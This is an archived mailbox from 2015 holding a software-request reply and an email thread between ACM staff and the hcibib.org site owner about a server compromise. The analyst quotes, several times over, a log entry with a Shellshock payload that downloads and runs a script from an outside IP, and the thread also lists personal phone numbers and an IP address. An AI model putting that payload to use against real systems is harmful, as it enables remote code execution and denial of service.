From MAILER-DAEMON Fri May 1 07:22:22 2015 Date: 01 May 2015 07:22:22 -0400 From: Mail System Internal Data Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA X-IMAP: 1430479342 0000000000 Status: RO This text is part of the internal format of your mail folder, and is not a real message. It is created automatically by the mail system software. If deleted, important folder data will be lost, and it will be re-created with the data reset to initial values. From perlman@turing.acm.org Mon May 4 10:22:19 2015 -0400 Status: X-Status: X-Keywords: Date: Mon, 4 May 2015 10:22:18 -0400 (EDT) From: Gary PERLMAN To: "Tran, Kevin (NIH/NIMH) [C]" Subject: Re: |STAT request In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Thank you for your interest in |STAT data manipulation and analysis software. UNIX |STAT for is now (only) available via Web browsers at a secret location. http://www.hcibib.org/stat/xyzzy/ To obtain UNIX |STAT files, please follow the instructions at: http://hcibib.org/perlman/stat/#access There are installation notes (e.g., for Mac OS X and Linux) at: http://hcibib.org/perlman/stat/installation.txt DOS |STAT executables and documentation are available as a WinZip file: http://hcibib.org/perlman/stat/DOS-STAT.ZIP HTML documentation is available from the |STAT home page: http://hcibib.org/perlman/stat/ On Fri, 1 May 2015, Tran, Kevin (NIH/NIMH) [C] wrote: > Hi, > I would like to request for the ISTAT source code. > > I AGREE TO ADHERE TO THE CONDITIONS OF USING |STAT. > I AGREE NOT TO SHARE THE |STAT LOCATION WITH OTHERS. > > Thanks, > -- > Kevin Tran, Contractor > UNIX System Administrator > The National Institutes of Health > NIMH, Laboratory of Brain and Cognition > 10 Center Drive, Room 4C215 > Bethesda MD 20892-1366 > kevintran@mail.nih.gov > Work:(301)435-4936 Cell:(301)755-3715 Fax: (301)402-0921 > -- From perlman@turing.acm.org Fri May 8 16:20:43 2015 -0400 Status: X-Status: X-Keywords: Date: Fri, 8 May 2015 16:20:43 -0400 (EDT) From: Gary PERLMAN To: Adam Greenberg cc: Ken Bauer , ishelpdesk Subject: Re: hcibib.org website problem In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Hi Adam, I had noticed that hcibib.org was down, but I did not realize that it was taken down for a reason. My usual mail is garyperlman@yahoo.com, and I only read mail on turing every few days. I am not sure I'll be able to figure out what went wrong, but my IP is 24.48.90.117. Gary Perlman On Wed, 6 May 2015, Adam Greenberg wrote: > Hello Gary, > I had to take the hcibib.org website offline tonight. The site was used to execute a denial of service attack that took down the server. > Here is the reference from the hcibib.org weblogs > > 62.75.145.250 - - [06/May/2015:12:12:39 -0400] "GET / HTTP/1.1" 200 10740 "-" "() { :; }; /bin/bash -c 'rm -rf /tmp/dd.sh /tmp/dd1.sh;wget http://62.75.145.250/dd.sh -O /tmp/dd.sh;curl http://62.75.145.250/dd.sh -o /tmp/dd1.sh;sh /tmp/dd.sh & sh /tmp/dd1.sh 0>&1'" > > I put the entire weblog for today to your /home/Perlman > > The request executed a denial of service attack that started this. > apache 28593 1 0 12:12 ? 00:00:00 /bin/bash -c rm -rf /tmp/dd.sh /tmp/dd1.sh;wget http://62.75.145.250/dd.sh -O /tmp/dd.sh;curl http://62.75.145.250/dd.sh -o /tmp/dd1.sh;sh /tmp/dd.sh & sh /tmp/dd1.sh 0>&1 > > Attached is a sample of what was running on the server. > > I have changed the default document root of the website until I hear from you. I would prefer to bring the site back online restricted to the IP address that you will be connecting from so that you have time to properly examine you site and then we can open it back up. Please let me know the IP address you will be connecting from and I will make the appropriate configuration changes. > > Thanks > Adam > > > Adam Greenberg > Senior Systems Analyst > Association for Computing Machinery > 2 Penn Plaza > Suite 701 > New York, NY 10121 > Office: 212-626-0573 > greenberg@acm.org > > -- From perlman@turing.acm.org Fri May 8 18:50:26 2015 -0400 Status: X-Status: X-Keywords: Date: Fri, 8 May 2015 18:50:25 -0400 (EDT) From: Gary PERLMAN To: Adam Greenberg cc: Ken Bauer , ishelpdesk Subject: Re: hcibib.org website problem In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Well, I am stumped. I don't know what script was used for the attack, and if I did, I am not sure how I would prevent further attacks. Gary Perlman, Director, HCI Bibliography Project mailto:director@hcibib.org http://hcibib.org/ On Wed, 6 May 2015, Adam Greenberg wrote: > Hello Gary, > I had to take the hcibib.org website offline tonight. The site was used to execute a denial of service attack that took down the server. > Here is the reference from the hcibib.org weblogs > > 62.75.145.250 - - [06/May/2015:12:12:39 -0400] "GET / HTTP/1.1" 200 10740 "-" "() { :; }; /bin/bash -c 'rm -rf /tmp/dd.sh /tmp/dd1.sh;wget http://62.75.145.250/dd.sh -O /tmp/dd.sh;curl http://62.75.145.250/dd.sh -o /tmp/dd1.sh;sh /tmp/dd.sh & sh /tmp/dd1.sh 0>&1'" > > I put the entire weblog for today to your /home/Perlman > > The request executed a denial of service attack that started this. > apache 28593 1 0 12:12 ? 00:00:00 /bin/bash -c rm -rf /tmp/dd.sh /tmp/dd1.sh;wget http://62.75.145.250/dd.sh -O /tmp/dd.sh;curl http://62.75.145.250/dd.sh -o /tmp/dd1.sh;sh /tmp/dd.sh & sh /tmp/dd1.sh 0>&1 > > Attached is a sample of what was running on the server. > > I have changed the default document root of the website until I hear from you. I would prefer to bring the site back online restricted to the IP address that you will be connecting from so that you have time to properly examine you site and then we can open it back up. Please let me know the IP address you will be connecting from and I will make the appropriate configuration changes. > > Thanks > Adam > > > Adam Greenberg > Senior Systems Analyst > Association for Computing Machinery > 2 Penn Plaza > Suite 701 > New York, NY 10121 > Office: 212-626-0573 > greenberg@acm.org > > -- From perlman@turing.acm.org Sat May 9 09:58:45 2015 -0400 Status: X-Status: X-Keywords: Date: Sat, 9 May 2015 09:58:44 -0400 (EDT) From: Gary PERLMAN To: Adam Greenberg cc: Ken Bauer , ishelpdesk Subject: RE: hcibib.org website problem In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed I am very sorry to have been unwittingly invovled in shutting down acm.org! I'm a little embarassed on this, but a move to a new hosting env has been "in the works" since at least last September, when I was given an acocunt (perlman.hosting.acm.org). At the time, I was overwhelmed by the task, but I think I can make progress. I will work on the file transfers today. Gary On Sat, 9 May 2015, Adam Greenberg wrote: > Ok. What I would like to do then, is move you off of this old turing server and over to our newer hosting environment. > Ishelpdesk is copied on this, I'm asking for us to open a ticket to get Gary Perlman setup on the new server, and all the files from the hcibib.org website synced over to the new server. > Once Gary checks to make sure it works correctly we can cut DNS over. > There are more filters and controls in place on the new environment, that would help mitigate the issue should it happen again. > On the current server, this issue shut down this whole box, along with ACM's main website, because it tied up the resources of this server. > > Ishelpdesk, please proceed with getting an account setup for Gary, and setting it up to support the hcibib.org website. > > Thanks > Adam > > -----Original Message----- > From: Gary PERLMAN [mailto:perlman@turing.acm.org] > Sent: Friday, May 08, 2015 6:50 PM > To: Adam Greenberg > Cc: Ken Bauer; ishelpdesk > Subject: Re: hcibib.org website problem > > Well, I am stumped. I don't know what script was used for the attack, and if I did, I am not sure how I would prevent further attacks. > > Gary Perlman, Director, HCI Bibliography Project mailto:director@hcibib.org http://hcibib.org/ > > On Wed, 6 May 2015, Adam Greenberg wrote: > >> Hello Gary, >> I had to take the hcibib.org website offline tonight. The site was used to execute a denial of service attack that took down the server. >> Here is the reference from the hcibib.org weblogs >> >> 62.75.145.250 - - [06/May/2015:12:12:39 -0400] "GET / HTTP/1.1" 200 10740 "-" "() { :; }; /bin/bash -c 'rm -rf /tmp/dd.sh /tmp/dd1.sh;wget http://62.75.145.250/dd.sh -O /tmp/dd.sh;curl http://62.75.145.250/dd.sh -o /tmp/dd1.sh;sh /tmp/dd.sh & sh /tmp/dd1.sh 0>&1'" >> >> I put the entire weblog for today to your /home/Perlman >> >> The request executed a denial of service attack that started this. >> apache 28593 1 0 12:12 ? 00:00:00 /bin/bash -c rm -rf /tmp/dd.sh /tmp/dd1.sh;wget http://62.75.145.250/dd.sh -O /tmp/dd.sh;curl http://62.75.145.250/dd.sh -o /tmp/dd1.sh;sh /tmp/dd.sh & sh /tmp/dd1.sh 0>&1 >> >> Attached is a sample of what was running on the server. >> >> I have changed the default document root of the website until I hear from you. I would prefer to bring the site back online restricted to the IP address that you will be connecting from so that you have time to properly examine you site and then we can open it back up. Please let me know the IP address you will be connecting from and I will make the appropriate configuration changes. >> >> Thanks >> Adam >> >> >> Adam Greenberg >> Senior Systems Analyst >> Association for Computing Machinery >> 2 Penn Plaza >> Suite 701 >> New York, NY 10121 >> Office: 212-626-0573 >> greenberg@acm.org >> >> > > -- From perlman@turing.acm.org Sat May 9 10:11:57 2015 -0400 Status: X-Status: X-Keywords: Date: Sat, 9 May 2015 10:11:57 -0400 (EDT) From: Gary PERLMAN To: Adam Greenberg cc: Ken Bauer , ishelpdesk Subject: RE: hcibib.org website problem In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed File transfer via SSH keeps failing. Do you know what parameters I need to connect to turing with FileZilla? Gary On Sat, 9 May 2015, Adam Greenberg wrote: > Ok. Great. > Let us know if you need any assistance. > > Thanks > Adam > > -----Original Message----- > From: Gary PERLMAN [mailto:perlman@turing.acm.org] > Sent: Saturday, May 09, 2015 9:59 AM > To: Adam Greenberg > Cc: Ken Bauer; ishelpdesk > Subject: RE: hcibib.org website problem > > I am very sorry to have been unwittingly invovled in shutting down acm.org! > > I'm a little embarassed on this, but a move to a new hosting env has been "in the works" since at least last September, when I was given an acocunt (perlman.hosting.acm.org). At the time, I was overwhelmed by the task, but I think I can make progress. > > I will work on the file transfers today. > > Gary > > On Sat, 9 May 2015, Adam Greenberg wrote: > >> Ok. What I would like to do then, is move you off of this old turing server and over to our newer hosting environment. >> Ishelpdesk is copied on this, I'm asking for us to open a ticket to get Gary Perlman setup on the new server, and all the files from the hcibib.org website synced over to the new server. >> Once Gary checks to make sure it works correctly we can cut DNS over. >> There are more filters and controls in place on the new environment, that would help mitigate the issue should it happen again. >> On the current server, this issue shut down this whole box, along with ACM's main website, because it tied up the resources of this server. >> >> Ishelpdesk, please proceed with getting an account setup for Gary, and setting it up to support the hcibib.org website. >> >> Thanks >> Adam >> >> -----Original Message----- >> From: Gary PERLMAN [mailto:perlman@turing.acm.org] >> Sent: Friday, May 08, 2015 6:50 PM >> To: Adam Greenberg >> Cc: Ken Bauer; ishelpdesk >> Subject: Re: hcibib.org website problem >> >> Well, I am stumped. I don't know what script was used for the attack, and if I did, I am not sure how I would prevent further attacks. >> >> Gary Perlman, Director, HCI Bibliography Project mailto:director@hcibib.org http://hcibib.org/ >> >> On Wed, 6 May 2015, Adam Greenberg wrote: >> >>> Hello Gary, >>> I had to take the hcibib.org website offline tonight. The site was used to execute a denial of service attack that took down the server. >>> Here is the reference from the hcibib.org weblogs >>> >>> 62.75.145.250 - - [06/May/2015:12:12:39 -0400] "GET / HTTP/1.1" 200 10740 "-" "() { :; }; /bin/bash -c 'rm -rf /tmp/dd.sh /tmp/dd1.sh;wget http://62.75.145.250/dd.sh -O /tmp/dd.sh;curl http://62.75.145.250/dd.sh -o /tmp/dd1.sh;sh /tmp/dd.sh & sh /tmp/dd1.sh 0>&1'" >>> >>> I put the entire weblog for today to your /home/Perlman >>> >>> The request executed a denial of service attack that started this. >>> apache 28593 1 0 12:12 ? 00:00:00 /bin/bash -c rm -rf /tmp/dd.sh /tmp/dd1.sh;wget http://62.75.145.250/dd.sh -O /tmp/dd.sh;curl http://62.75.145.250/dd.sh -o /tmp/dd1.sh;sh /tmp/dd.sh & sh /tmp/dd1.sh 0>&1 >>> >>> Attached is a sample of what was running on the server. >>> >>> I have changed the default document root of the website until I hear from you. I would prefer to bring the site back online restricted to the IP address that you will be connecting from so that you have time to properly examine you site and then we can open it back up. Please let me know the IP address you will be connecting from and I will make the appropriate configuration changes. >>> >>> Thanks >>> Adam >>> >>> >>> Adam Greenberg >>> Senior Systems Analyst >>> Association for Computing Machinery >>> 2 Penn Plaza >>> Suite 701 >>> New York, NY 10121 >>> Office: 212-626-0573 >>> greenberg@acm.org >>> >>> >> >> > > -- From perlman@turing.acm.org Sat May 9 10:23:30 2015 -0400 Status: X-Status: X-Keywords: Date: Sat, 9 May 2015 10:23:29 -0400 (EDT) From: Gary PERLMAN To: Adam Greenberg cc: Ken Bauer , ishelpdesk Subject: RE: hcibib.org website problem In-Reply-To: Message-ID: References: , MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Working! Thanks. On Sat, 9 May 2015, Adam Greenberg wrote: > Filezilla to Turing is either sftp or ftp server turing.acm.org ports are standard 22 for sftp and 21 for ftp > > > > Thanks > Adam > > > -------- Original message -------- > From: Gary PERLMAN > Date: 05/09/2015 10:12 AM (GMT-05:00) > To: Adam Greenberg > Cc: Ken Bauer , ishelpdesk > Subject: RE: hcibib.org website problem > > File transfer via SSH keeps failing. Do you know what parameters I need to connect to turing with FileZilla? > > Gary > > On Sat, 9 May 2015, Adam Greenberg wrote: > >> Ok. Great. >> Let us know if you need any assistance. >> >> Thanks >> Adam >> >> -----Original Message----- >> From: Gary PERLMAN [mailto:perlman@turing.acm.org] >> Sent: Saturday, May 09, 2015 9:59 AM >> To: Adam Greenberg >> Cc: Ken Bauer; ishelpdesk >> Subject: RE: hcibib.org website problem >> >> I am very sorry to have been unwittingly invovled in shutting down acm.org! >> >> I'm a little embarassed on this, but a move to a new hosting env has been "in the works" since at least last September, when I was given an acocunt (perlman.hosting.acm.org). At the time, I was overwhelmed by the task, but I think I can make progress. >> >> I will work on the file transfers today. >> >> Gary >> >> On Sat, 9 May 2015, Adam Greenberg wrote: >> >>> Ok. What I would like to do then, is move you off of this old turing server and over to our newer hosting environment. >>> Ishelpdesk is copied on this, I'm asking for us to open a ticket to get Gary Perlman setup on the new server, and all the files from the hcibib.org website synced over to the new server. >>> Once Gary checks to make sure it works correctly we can cut DNS over. >>> There are more filters and controls in place on the new environment, that would help mitigate the issue should it happen again. >>> On the current server, this issue shut down this whole box, along with ACM's main website, because it tied up the resources of this server. >>> >>> Ishelpdesk, please proceed with getting an account setup for Gary, and setting it up to support the hcibib.org website. >>> >>> Thanks >>> Adam >>> >>> -----Original Message----- >>> From: Gary PERLMAN [mailto:perlman@turing.acm.org] >>> Sent: Friday, May 08, 2015 6:50 PM >>> To: Adam Greenberg >>> Cc: Ken Bauer; ishelpdesk >>> Subject: Re: hcibib.org website problem >>> >>> Well, I am stumped. I don't know what script was used for the attack, and if I did, I am not sure how I would prevent further attacks. >>> >>> Gary Perlman, Director, HCI Bibliography Project mailto:director@hcibib.org http://hcibib.org/ >>> >>> On Wed, 6 May 2015, Adam Greenberg wrote: >>> >>>> Hello Gary, >>>> I had to take the hcibib.org website offline tonight. The site was used to execute a denial of service attack that took down the server. >>>> Here is the reference from the hcibib.org weblogs >>>> >>>> 62.75.145.250 - - [06/May/2015:12:12:39 -0400] "GET / HTTP/1.1" 200 10740 "-" "() { :; }; /bin/bash -c 'rm -rf /tmp/dd.sh /tmp/dd1.sh;wget http://62.75.145.250/dd.sh -O /tmp/dd.sh;curl http://62.75.145.250/dd.sh -o /tmp/dd1.sh;sh /tmp/dd.sh & sh /tmp/dd1.sh 0>&1'" >>>> >>>> I put the entire weblog for today to your /home/Perlman >>>> >>>> The request executed a denial of service attack that started this. >>>> apache 28593 1 0 12:12 ? 00:00:00 /bin/bash -c rm -rf /tmp/dd.sh /tmp/dd1.sh;wget http://62.75.145.250/dd.sh -O /tmp/dd.sh;curl http://62.75.145.250/dd.sh -o /tmp/dd1.sh;sh /tmp/dd.sh & sh /tmp/dd1.sh 0>&1 >>>> >>>> Attached is a sample of what was running on the server. >>>> >>>> I have changed the default document root of the website until I hear from you. I would prefer to bring the site back online restricted to the IP address that you will be connecting from so that you have time to properly examine you site and then we can open it back up. Please let me know the IP address you will be connecting from and I will make the appropriate configuration changes. >>>> >>>> Thanks >>>> Adam >>>> >>>> >>>> Adam Greenberg >>>> Senior Systems Analyst >>>> Association for Computing Machinery >>>> 2 Penn Plaza >>>> Suite 701 >>>> New York, NY 10121 >>>> Office: 212-626-0573 >>>> greenberg@acm.org >>>> >>>> >>> >>> >> >> > > -- > --